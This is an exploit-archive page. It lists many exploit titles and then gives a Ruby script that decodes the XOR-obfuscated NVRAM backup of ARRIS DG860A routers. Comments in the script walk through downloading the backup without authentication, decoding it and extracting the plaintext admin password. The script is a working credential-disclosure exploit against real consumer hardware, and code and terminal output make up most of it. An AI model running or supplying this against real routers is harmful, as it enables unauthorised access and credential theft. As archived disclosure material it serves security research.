
395 changes to exploits/shellcodes EO Video 1.36 - Local Heap Overflow Denial of Service / (PoC) Electronics Workbench - '.ewb' Local Stack Overflow (PoC) BulletProof FTP Client 2.63 - Local Heap Overflow (PoC) Easy Web Password 1.2 - Local Heap Memory Consumption (PoC) Compface 1.5.2 - '.xbm' Local Buffer Overflow (PoC) eEye Retina WiFi Security Scanner 1.0 - '.rws Parsing' Buffer Overflow (PoC) Zortam MP3 Media Studio 9.40 - Multiple Memory Corruption Vulnerabilities ImTOO MPEG Encoder 3.1.53 - '.cue' / '.m3u' Local Buffer Overflow (PoC) ZoIPer 2.22 - Call-Info Remote Denial of Service PHP < 5.3.1 - 'MultiPart/form-data' Denial of Service PHP - MultiPart Form-Data Denial of Service (PoC) PHP < 5.3.1 - 'MultiPart/form-data' Denial of Service PHP - MultiPart Form-Data Denial of Service (PoC) Nuked KLan 1.7.7 & SP4 - Denial of Service AIC Audio Player 1.4.1.587 - Local Crash (PoC) Xerox 4595 - Denial of Service WinMerge 2.12.4 - Project File Handling Stack Overflow Acoustica Mixcraft 1.00 - Local Crash SopCast 3.4.7 - 'sop://' URI Handling Remote Stack Buffer Overflow (PoC) Oreans WinLicense 2.1.8.0 - XML File Handling Memory Corruption Spotify 0.8.2.610 - search func Memory Exhaustion Apple iTunes 10.6.1.7 - '.m3u' Walking Heap Buffer Overflow (PoC) WaveSurfer 1.8.8p4 - Memory Corruption (PoC) DIMIN Viewer 5.4.0 - Crash (PoC) FreeVimager 4.1.0 - Crash (PoC) DIMIN Viewer 5.4.0 - Crash (PoC) FreeVimager 4.1.0 - Crash (PoC) CoolPlayer+ Portable 2.19.4 - Local Buffer Overflow Light Audio Player 1.0.14 - Memory Corruption (PoC) Image Transfer IOS - Remote Crash (PoC) Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH) VUPlayer 2.49 - '.cue' Universal Buffer Overflow Apple Mac OSX xnu 1228.x - 'hfs-fcntl' Kernel Privilege Escalation IBM AIX 5.3 - 'libc' MALLOCDEBUG File Overwrite Hex Workshop 4.23/5.1/6.0 - '.hex' Universal Local Buffer Overflow (SEH) Soritong MP3 Player 1.0 - '.m3u' / UI.txt Universal Local Buffer Overflow Adobe Acrobat/Reader < 7.1.1/8.1.3/9.1 - Collab getIcon Universal Millenium MP3 Studio - '.pls' / '.mpf' / '.m3u' Universal Local Buffer Overflow (SEH) Alleycode HTML Editor 2.2.1 - Local Buffer Overflow GPG2/Kleopatra 2.0.11 - Malformed Certificate Free WMA MP3 Converter 1.1 - '.wav' Local Buffer Overflow OtsTurntables Free 1.00.047 - '.olf' Universal Buffer Overflow Watermark Master 2.2.23 - '.wstyle' Local Buffer Overflow (SEH) Dropbox < 3.3.x - OSX FinderLoadBundle Privilege Escalation MySQL / MariaDB / PerconaDB 5.5.51/5.6.32/5.7.14 - Code Execution / Privilege Escalation eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (1) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (2) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (1) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (2) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (3) QK SMTP 3.01 - 'RCPT TO' Remote Buffer Overflow (2) CA BrightStor ARCserve - 'msgeng.exe' Remote Stack Overflow quickshare file share 1.2.1 - Directory Traversal (1) SPlayer 3.7 (build 2055) - Remote Buffer Overflow Acunetix 8 build 20120704 - Remote Stack Overflow Omeka 2.2.1 - Remote Code Execution D-Link DSL-2740R - Remote DNS Change D-Link DSL-2730U/2750U/2750E ADSL Router - Remote File Disclosure Netgear JNR1010 ADSL Router - (Authenticated) Remote File Disclosure D-Link DSL-2730U/2750U/2750E ADSL Router - Remote File Disclosure Netgear JNR1010 ADSL Router - (Authenticated) Remote File Disclosure Websphere/JBoss/OpenNMS/Symantec Endpoint Protection Manager - Java Deserialization Remote Code Execution TorrentTrader 1.0 RC2 - SQL Injection WEBInsta CMS 0.3.1 - 'templates_dir' Remote File Inclusion MiniPort@l 0.1.5 Beta - 'skiny' Remote File Inclusion PHP DocWriter 0.3 - 'script' Remote File Inclusion phpBB Journals System Mod 1.0.2 RC2 - Remote File Inclusion phpBB SpamBlocker Mod 1.0.2 - Remote File Inclusion RSSonate - 'xml2rss.php' Remote File Inclusion CASTOR 1.1.1 - '/lib/rs.php' Remote File Inclusion RSSonate - 'xml2rss.php' Remote File Inclusion CASTOR 1.1.1 - '/lib/rs.php' Remote File Inclusion QnECMS 2.5.6 - 'adminfolderpath' Remote File Inclusion BrewBlogger 1.3.1 - 'printLog.php' SQL Injection e-Ark 1.0 - '/src/ark_inc.php' Remote File Inclusion awrate.com Message Board 1.0 - 'search.php' Remote File Inclusion Tucows Client Code Suite (CSS) 1.2.1015 - Remote File Inclusion Gizzar 03162002 - 'index.php' Remote File Inclusion SH-News 0.93 - 'misc.php' Remote File Inclusion JSBoard 2.0.10 - 'login.php?table' Local File Inclusion XOOPS Module WF-Links 1.03 - 'cid' SQL Injection Scorp Book 1.0 - 'smilies.php?config' Remote File Inclusion WEBInsta FM 0.1.4 - 'login.php' absolute_path Remote File Inclusion mxBB Module FAQ & RULES 2.0.0 - Remote File Inclusion EQdkp 1.3.2 - 'listmembers.php' SQL Injection FlashBB 1.1.8 - 'sendmsg.php' Remote File Inclusion SimpleBlog 3.0 - 'comments_get.asp?id' SQL Injection Pakupaku CMS 0.4 - Arbitrary File Upload / Local File Inclusion CCMS 3.1 Demo - SQL Injection MoinMoin 1.5.x - 'MOIND_ID' Cookie Login Bypass BlogPHP 2 - 'id' Cross-Site Scripting / SQL Injection AuraCMS 1.62 - Multiple SQL Injections sCssBoard (Multiple Versions) - 'pwnpack' Remote s EasyNews 40tr - SQL Injection / Cross-Site Scripting / Local File Inclusion RevokeBB 1.0 RC11 - 'Search' SQL Injection Galatolo Web Manager 1.0 - Cross-Site Scripting / Local File Inclusion CaupoShop Classic 1.3 - 'saArticle[ID]' SQL Injection PHPortal 1.2 - Multiple Remote File Inclusions Libera CMS 1.12 - 'cookie' SQL Injection Zanfi CMS lite 2.1 / Jaw Portal free - 'FCKeditor' Arbitrary File Upload WCMS 1.0b - Arbitrary Add Admin FOSS Gallery Admin 1.0 - Arbitrary File Upload MemHT Portal 4.0.1 - SQL Injection / Code Execution Mediatheka 4.2 - Blind SQL Injection Pligg 9.9.5b - Arbitrary File Upload / SQL Injection XOOPS 2.3.2 - 'mydirname' PHP Remote Code Execution Joomla! Component Casino 0.3.1 - Multiple SQL Injections s ZeusCart 2.3 - 'maincatid' SQL Injection ASP Football Pool 2.3 - Remote Database Disclosure LightNEasy sql/no-db 2.2.x - System Configuration Disclosure Zen Cart 1.3.8 - Remote Code Execution Joomla! Component com_pinboard - 'task' SQL Injection Joomla! Component com_bookflip - 'book_id' SQL Injection Messages Library 2.0 - Arbitrary Delete Message Arab Portal 2.2 - Blind Cookie Authentication Bypass Joomla! Plugin JD-WordPress 2.0 RC2 - Remote File Inclusion REZERVI 3.0.2 - Remote Command Execution Joomla! Component BF Quiz 1.0 - SQL Injection (2) E-Xoopport Samsara 3.1 (eCal Module) - Blind SQL Injection AJ Matrix DNA - SQL Injection Joomla! Component JE Story Submit - Local File Inclusion CF Image Hosting Script 1.3.82 - File Disclosure hastymail2 webmail 1.1 rc2 - Persistent Cross-Site Scripting CMSLogik 1.2.1 - Multiple Vulnerabilities C.P.Sub 4.5 - Authentication Bypass WordPress Plugin Slideshow Gallery 1.4.6 - Arbitrary File Upload Joomla! Component com_hdflvplayer < 2.1.0.1 - SQL Injection WordPress Plugin WP Symposium 14.11 - Arbitrary File Upload PHPMailer < 5.2.20 - Remote Code Execution phpIPAM 1.4 - SQL Injection Joomla! 3.9.0 < 3.9.7 - CSV Injection
133 lines
No EOL
4.2 KiB
Ruby
Executable file
133 lines
No EOL
4.2 KiB
Ruby
Executable file
#!/usr/bin/env ruby
|
||
# ARRIS DG860A NVRAM Backup 'Compressor/Decompressor', it really does xor?
|
||
# Gleaned from sc_mix executable in firmware dump.
|
||
#
|
||
# Backup file is world readable without authentication and contains password
|
||
# information in plain text.
|
||
#
|
||
# box:arris-dev cosmo$ wget http://192.168.0.1/router.data
|
||
# --2013-10-17 18:21:28-- http://192.168.0.1/router.data
|
||
# Connecting to 192.168.0.1:80... connected.
|
||
# HTTP request sent, awaiting response... 200 OK
|
||
# Length: 3518 (3.4K) [application/octet-stream]
|
||
# Saving to: ‘router.data’
|
||
#
|
||
# 100%[=============================================================================================================>] 3,518 --.-K/s in 0s
|
||
#
|
||
# 2013-10-17 18:21:28 (108 MB/s) - ‘router.data’ saved [3518/3518]
|
||
#
|
||
# box:arris-dev cosmo$ tar vxf router.data
|
||
# x backup/
|
||
# x backup/sc_nvram.usr.sc
|
||
# x backup/sc_nvram.sc
|
||
# box:arris-dev cosmo$ sudo ./sc_mix.rb -u -s backup/sc_nvram.usr.sc -d sc_nvram_dump
|
||
# Password:
|
||
# box:arris-dev cosmo$ cat sc_nvram_dump | tr "\000\000" "\000" | tr "\000" "\n" | grep sysAdminPassword
|
||
# sysAdminPassword[0]=test123
|
||
# box:arris-dev cosmo$
|
||
#
|
||
#
|
||
#
|
||
|
||
require 'optparse'
|
||
require 'highline/import'
|
||
require 'zlib'
|
||
|
||
def Compress(infile, outfile)
|
||
instream = nil
|
||
outstream = nil
|
||
size = 0
|
||
calculatedcrc = 0
|
||
data=''
|
||
size = File.size?(infile)
|
||
instream = File.open(infile,'r')
|
||
data = instream.read()
|
||
data = data.bytes.map { |a| a ^ 0xFFFFFFAA }.pack('c*')
|
||
instream.close() if !instream.nil?
|
||
outstream = File.open(outfile,'w')
|
||
outstream.write("\x00NOF")
|
||
outstream.write([size].pack('L>'))
|
||
calculatedcrc = Zlib::crc32(data)
|
||
outstream.write([calculatedcrc].pack('L>'))
|
||
outstream.write([size].pack('L>'))
|
||
outstream.write("\x00\x00\x00\x00" * 6)
|
||
outstream.write(data)
|
||
outstream.close() if !outstream.nil?
|
||
end
|
||
|
||
def Decompress(infile, outfile)
|
||
instream = nil
|
||
outstream = nil
|
||
size = 0
|
||
embeddedcrc = 0
|
||
calculatedcrc = 0
|
||
data=''
|
||
if !(File::size?(infile) >= 0x28)
|
||
puts "[ERROR]: Source file size is insufficient(Smaller then 0x28 bytes)"
|
||
exit
|
||
end
|
||
instream = File::open(infile,'r')
|
||
if instream.read(4) != "\x00NOF"
|
||
instream.close() if !instream.nil?
|
||
puts "[ERROR]: Source file contains invalid magic(\\x00NOF)"
|
||
exit
|
||
end
|
||
size = instream.read(4).unpack("L>")[0]
|
||
embeddedcrc = instream.read(4).unpack("L>")[0]
|
||
if !(File.size?(infile) >= (0x28+size))
|
||
puts "[ERROR]: Source file size if insufficient(Smaller then 0x" + (0x28+minsize).to_s(16) + ")"
|
||
instream.close() if !instream.nil?
|
||
end
|
||
instream.seek(0x28,IO::SEEK_SET)
|
||
data = instream.read(size)
|
||
calculatedcrc = Zlib::crc32(data)
|
||
if embeddedcrc != calculatedcrc
|
||
puts "[ERROR]: Checksum mismatch"
|
||
instream.close() if !instream.nil?
|
||
exit
|
||
end
|
||
outstream = File::open(outfile,'w')
|
||
outstream.write(data.bytes.map { |a| a ^ 0xFFFFFFAA }.pack('c*'))
|
||
instream.close() if !instream.nil?
|
||
outstream.close() if !outstream.nil?
|
||
end
|
||
|
||
#begin
|
||
if __FILE__ == $0
|
||
options = {}
|
||
opt_parser = OptionParser.new do |opts|
|
||
opts.banner = "Usage: sc_mix.rb -s <Src_PATH> -d <Dest_PATH>"
|
||
opts.separator "Usage:"
|
||
opts.on('-s', '--source Src_PATH', 'Source File') { |v| options[:source_file] = v }
|
||
opts.on('-d', '--destination Dest_PATH', 'Destination File') { |v| options[:destination_file] = v }
|
||
opts.on('-u', 'Uncompress') { options[:uncompress] = true }
|
||
opts.on_tail("-h", "Show this message") do
|
||
puts opts
|
||
exit
|
||
end
|
||
end
|
||
opt_parser.parse!
|
||
if options[:source_file].nil? or options[:destination_file].nil?
|
||
puts opt_parser
|
||
exit
|
||
end
|
||
if !File::exists?(options[:source_file]) or !File::readable?(options[:source_file])
|
||
puts "[ERROR]: File does not exist or there are insufficient privileges(sudo?)"
|
||
exit
|
||
end
|
||
if File::exists?(options[:destination_file])
|
||
if !agree("[ERROR]: File exists attempt to overwrite[yes/no]? ")
|
||
exit
|
||
end
|
||
if !File::writable?(options[:destination_file])
|
||
puts "[ERROR]: File is not writeable is there insufficient privileges(sudo?)"
|
||
exit
|
||
end
|
||
end
|
||
if !options[:uncompress]
|
||
puts "[WARNING]: Compression is currently beta"
|
||
Compress(options[:source_file], options[:destination_file])
|
||
else
|
||
Decompress(options[:source_file], options[:destination_file])
|
||
end
|
||
end |